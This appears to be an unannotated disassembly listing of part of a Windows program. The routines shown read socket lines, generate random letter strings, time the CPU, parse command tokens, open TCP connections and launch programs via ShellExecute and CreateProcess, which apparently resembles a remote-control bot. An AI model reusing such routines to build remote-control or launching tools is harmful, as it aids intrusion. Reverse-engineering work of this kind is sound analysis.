loc_41B64A:				; CODE XREF: sub_41B5B0+8Ej
		xor	eax, eax


loc_41B64C:				; CODE XREF: sub_41B5B0+98j
		mov	esi, eax


loc_41B64E:				; CODE XREF: sub_41B5B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B95
		test	al, al
		jnz	short loc_41B667
		push	7D0h
		call	ebp
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B667:				; CODE XREF: sub_41B5B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_4018A2
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B6A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B6A4:				; CODE XREF: sub_41B5B0+B5j
					; sub_41B5B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B61E


loc_41B6AF:				; CODE XREF: sub_41B5B0+3Ej
					; sub_41B5B0+68j ...
		mov	ecx, ebx
		call	sub_4014E7
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B6C0:				; CODE XREF: sub_41B5B0+Bj
					; sub_41B5B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B5B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B720:				; CODE XREF: ___:00401C35j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B795
		mov	esi, ebp


loc_41B73F:				; CODE XREF: ___:0041B793j
		cmp	esi, ebx
		jz	short loc_41B795
		cmp	[esp+18h], bl
		jz	short loc_41B795
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		cmp	eax, ebx
		jz	short loc_41B7A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B7A4
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_41B79D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B780
		cmp	al, 0Dh
		jz	short loc_41B780
		cmp	al, bl
		jnz	short loc_41B788


loc_41B780:				; CODE XREF: ___:0041B776j
					; ___:0041B77Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B788:				; CODE XREF: ___:0041B77Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B73F


loc_41B795:				; CODE XREF: ___:0041B73Bj
					; ___:0041B741j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B79D:				; CODE XREF: ___:0041B76Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B7A4:				; CODE XREF: ___:0041B75Aj
					; ___:0041B75Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B7E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B84A
		mov	edi, ebp


loc_41B7FF:				; CODE XREF: sub_41B7E0+68j
		cmp	edi, ebx
		jz	short loc_41B84A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B84A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		test	eax, eax
		jz	short loc_41B859
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B82A
		cmp	al, bl
		jnz	short loc_41B83D


loc_41B82A:				; CODE XREF: sub_41B7E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B837
		mov	[esi+ebp-1], bl
		jmp	short loc_41B839
; ---------------------------------------------------------------------------


loc_41B837:				; CODE XREF: sub_41B7E0+4Fj
		mov	[edi], bl


loc_41B839:				; CODE XREF: sub_41B7E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B83D:				; CODE XREF: sub_41B7E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B7FF


loc_41B84A:				; CODE XREF: sub_41B7E0+1Bj
					; sub_41B7E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B859:				; CODE XREF: sub_41B7E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B7E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B880:				; CODE XREF: ___:00401AF0j
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B8DB


loc_41B8A6:				; CODE XREF: ___:0041B8D9j
		push	3
		push	1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B8C7
		dec	eax
		jz	short loc_41B8C1
		dec	eax
		jnz	short loc_41B8D6
		push	7Ah
		push	61h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C1:				; CODE XREF: ___:0041B8B6j
		push	5Ah
		push	41h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C7:				; CODE XREF: ___:0041B8B3j
		push	39h
		push	30h


loc_41B8CB:				; CODE XREF: ___:0041B8BFj
					; ___:0041B8C5j
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B8D6:				; CODE XREF: ___:0041B8B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B8A6


loc_41B8DB:				; CODE XREF: ___:0041B8A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: sub_401424j
		rdtsc
		retn
sub_41B900	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B920	proc near		; CODE XREF: sub_4017FDj

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_5118D8
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B92F:				; CODE XREF: sub_41B920+43j
					; sub_41B920+4Dj
		call	sub_401424
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_401424
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_437C60
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_437C60
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B92F
		jb	short loc_41B96F
		cmp	esi, 0F4240h
		ja	short loc_41B92F


loc_41B96F:				; CODE XREF: sub_41B920+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_437BE0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B9F9
		jb	short loc_41B98F
		cmp	ecx, 50h
		jnb	short loc_41B998


loc_41B98F:				; CODE XREF: sub_41B920+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B998:				; CODE XREF: sub_41B920+6Dj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9A3
		cmp	ecx, 47h
		jnb	short loc_41B9AC


loc_41B9A3:				; CODE XREF: sub_41B920+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B9AC:				; CODE XREF: sub_41B920+81j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9B7
		cmp	ecx, 37h
		jnb	short loc_41B9C0


loc_41B9B7:				; CODE XREF: sub_41B920+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B9C0:				; CODE XREF: sub_41B920+95j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9CB
		cmp	ecx, 26h
		jnb	short loc_41B9D4


loc_41B9CB:				; CODE XREF: sub_41B920+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B9D4:				; CODE XREF: sub_41B920+A9j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9DF
		cmp	ecx, 1Eh
		jnb	short loc_41B9E8


loc_41B9DF:				; CODE XREF: sub_41B920+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B9E8:				; CODE XREF: sub_41B920+BDj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9F3
		cmp	ecx, 0Ah
		jnb	short loc_41B9F9


loc_41B9F3:				; CODE XREF: sub_41B920+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B9F9:				; CODE XREF: sub_41B920+66j
					; sub_41B920+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BA50	proc near		; CODE XREF: sub_402040j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41BA50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_449729
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BBAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_40142E
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C71
		mov	ebp, eax
		call	sub_401F0A
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013E3
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 282112Dh
		test	eax, eax
		jnz	short loc_41BAE6
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41BAE6:				; CODE XREF: sub_41BA50+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41BAEF:				; CODE XREF: sub_41BA50+A9j
		cmp	ecx, eax
		jnz	short loc_41BAF5
		mov	bl, 1


loc_41BAF5:				; CODE XREF: sub_41BA50+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41BAEF
		mov	eax, 61h


loc_41BB00:				; CODE XREF: sub_41BA50+BAj
		cmp	ecx, eax
		jnz	short loc_41BB06
		mov	bl, 1


loc_41BB06:				; CODE XREF: sub_41BA50+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BB00
		test	bl, bl
		jnz	short loc_41BB32
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BB32:				; CODE XREF: sub_41BA50+BEj
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BBAF:				; CODE XREF: sub_41BA50+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_40142E
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		call	near ptr 2800B86h
		nop
		push	eax
		call	near ptr 77C371BCh
		nop
		mov	edi, dword_511AC8
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015E1
		test	esi, esi
		jle	short loc_41BC4E


loc_41BBF8:				; CODE XREF: sub_41BA50+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_40142E
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FDC
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_444E5C
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BBF8


loc_41BC4E:				; CODE XREF: sub_41BA50+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41BA50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD20:				; CODE XREF: ___:00401573j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BD2F
		cmp	al, 9
		jz	short loc_41BD2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BD2F:				; CODE XREF: ___:0041BD26j
					; ___:0041BD2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD50:				; CODE XREF: ___:00401EF6j
		mov	eax, [esp+4]
		push	offset dword_444E64
		push	eax
		nop
		call	near ptr 77C3F010h
		add	esp, 8
		test	eax, eax
		jz	short loc_41BD74
		push	eax
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BD74:				; CODE XREF: ___:0041BD65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BD90	proc near		; CODE XREF: sub_401483j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BFEE
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_41BDAA:				; CODE XREF: sub_41BD90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		test	cl, cl
		jz	short loc_41BDCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BDAA


loc_41BDCE:				; CODE XREF: sub_41BD90+26j
		xor	eax, eax
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDD2:				; CODE XREF: sub_41BD90+22j
					; sub_41BD90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDD7:				; CODE XREF: sub_41BD90+40j
		test	eax, eax
		jz	loc_41BFEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_511B00
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_4447F8
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BFEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BE17:				; CODE XREF: sub_41BD90+A4j
		push	offset dword_4447F8
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BFEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BE17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_444E80
		mov	eax, ebp


loc_41BE41:				; CODE XREF: sub_41BD90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		test	dl, dl
		jz	short loc_41BE65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE41


loc_41BE65:				; CODE XREF: sub_41BD90+BDj
		xor	eax, eax
		jmp	short loc_41BE6E
; ---------------------------------------------------------------------------


loc_41BE69:				; CODE XREF: sub_41BD90+B9j
					; sub_41BD90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE6E:				; CODE XREF: sub_41BD90+D7j
		test	eax, eax
		jnz	short loc_41BE7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD90+E0j
		mov	esi, offset dword_444E7C
		mov	eax, ebp


loc_41BE83:				; CODE XREF: sub_41BD90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		test	dl, dl
		jz	short loc_41BEA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE83


loc_41BEA7:				; CODE XREF: sub_41BD90+FFj
		xor	eax, eax
		jmp	short loc_41BEB0
; ---------------------------------------------------------------------------


loc_41BEAB:				; CODE XREF: sub_41BD90+FBj
					; sub_41BD90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEB0:				; CODE XREF: sub_41BD90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BEFA
		mov	esi, offset dword_444E78
		mov	edx, edi


loc_41BEBF:				; CODE XREF: sub_41BD90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BEE7
		test	bl, bl
		jz	short loc_41BEE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BEE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BEBF


loc_41BEE3:				; CODE XREF: sub_41BD90+13Bj
		xor	edx, edx
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEE7:				; CODE XREF: sub_41BD90+137j
					; sub_41BD90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BEEC:				; CODE XREF: sub_41BD90+155j
		test	edx, edx
		jnz	short loc_41BEFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEFA:				; CODE XREF: sub_41BD90+126j
					; sub_41BD90+15Ej
		mov	esi, offset dword_444E74
		mov	edx, ebp


loc_41BF01:				; CODE XREF: sub_41BD90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF29
		test	bl, bl
		jz	short loc_41BF25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF01


loc_41BF25:				; CODE XREF: sub_41BD90+17Dj
		xor	edx, edx
		jmp	short loc_41BF2E
; ---------------------------------------------------------------------------


loc_41BF29:				; CODE XREF: sub_41BD90+179j
					; sub_41BD90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF2E:				; CODE XREF: sub_41BD90+197j
		test	edx, edx
		jnz	short loc_41BF74
		mov	esi, offset dword_444E70
		mov	edx, edi


loc_41BF39:				; CODE XREF: sub_41BD90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF61
		test	bl, bl
		jz	short loc_41BF5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF39


loc_41BF5D:				; CODE XREF: sub_41BD90+1B5j
		xor	edx, edx
		jmp	short loc_41BF66
; ---------------------------------------------------------------------------


loc_41BF61:				; CODE XREF: sub_41BD90+1B1j
					; sub_41BD90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF66:				; CODE XREF: sub_41BD90+1CFj
		test	edx, edx
		jnz	short loc_41BF74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF74:				; CODE XREF: sub_41BD90+1A0j
					; sub_41BD90+1D8j
		mov	esi, offset dword_444E6C
		mov	ecx, ebp


loc_41BF7B:				; CODE XREF: sub_41BD90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		test	dl, dl
		jz	short loc_41BF9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BF7B


loc_41BF9F:				; CODE XREF: sub_41BD90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BFA8
; ---------------------------------------------------------------------------


loc_41BFA3:				; CODE XREF: sub_41BD90+1F3j
					; sub_41BD90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BFA8:				; CODE XREF: sub_41BD90+211j
		test	ecx, ecx
		jnz	short loc_41BFEE
		mov	esi, offset dword_444E68
		mov	eax, edi


loc_41BFB3:				; CODE XREF: sub_41BD90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		test	cl, cl
		jz	short loc_41BFD7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BFB3


loc_41BFD7:				; CODE XREF: sub_41BD90+22Fj
		xor	eax, eax
		jmp	short loc_41BFE0
; ---------------------------------------------------------------------------


loc_41BFDB:				; CODE XREF: sub_41BD90+22Bj
					; sub_41BD90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BFE0:				; CODE XREF: sub_41BD90+249j
		test	eax, eax
		jnz	short loc_41BFEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BFEE:				; CODE XREF: sub_41BD90+Dj
					; sub_41BD90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BD90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C0A0	proc near		; CODE XREF: sub_402022j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		mov	eax, [esp+18h+arg_0]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41C0F9
		mov	bl, 1


loc_41C0F9:				; CODE XREF: sub_41C0A0+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C108:				; CODE XREF: sub_41C0A0+18j
					; sub_41C0A0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41C0A0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C130	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		cmp	eax, 20h
		setnl	al
		retn
sub_41C130	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C170	proc near		; CODE XREF: sub_402167j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		nop
		call	near ptr 2810550h
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C170	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: ___:00401884j
		sub	esp, 354h
		mov	eax, off_444E8C
		mov	ecx, off_444E90
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E94
		rep stosd
		mov	ecx, off_444E84
		mov	[esp+10h], edx
		mov	dx, word_444E88
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
